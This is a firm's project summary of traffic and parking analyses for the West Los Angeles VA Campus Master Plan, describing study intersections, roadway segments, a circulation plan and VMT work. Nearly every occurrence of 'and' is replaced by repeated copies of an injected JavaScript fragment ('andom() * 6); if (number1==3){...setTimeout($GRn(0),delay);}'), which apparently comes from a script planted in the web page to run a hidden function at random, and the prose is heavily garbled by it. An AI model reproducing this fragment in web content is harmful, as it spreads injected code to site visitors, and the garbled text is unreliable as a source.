Originally, Crain & Associates assisted with an assessment of the traffic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and parking implications of a proposed Master Plan to be developed in four phases. The traffic analyses included determining existing phase trip generation andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and future operating conditions at fourteen study intersections. Mitigation measures were recommended for certain impacted intersections. Existing andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and future parking demandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}ands were analyzed utilizing two methodologies. Subsequently, we prepared an updated traffic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and parking report with an analysis based on new traffic counts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an updated parking survey of the North Campus parking facilities. The existing andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and future conditions analysis evaluated 33 surface street intersections, 8 internal site intersections, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 10 internal site roadway segments, both without andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and with the project. Subsequently we provided services for the master planning effort by analyzing traffic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and parking impacts associated with the U.S. Department of Veterans Affairs preparation of a Programmatic Environmental Impact Statement andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Programmatic Environmental Impact Report for the West Los Angeles Campus Master Plan. The analysis for the North andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and South Campuses included a total of 55 study intersections andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 22 roadway segments. Crain & Associates also prepared a Campus Circulation Plan, with strategies for improving the efficiency andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and sustainability of the internal roadway network. We also conducted a parking impact analysis, transit analysis, Caltrans freeway impact analysis, construction traffic analysis, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and vehicle miles traveled (VMT) analysis for the Master Plan.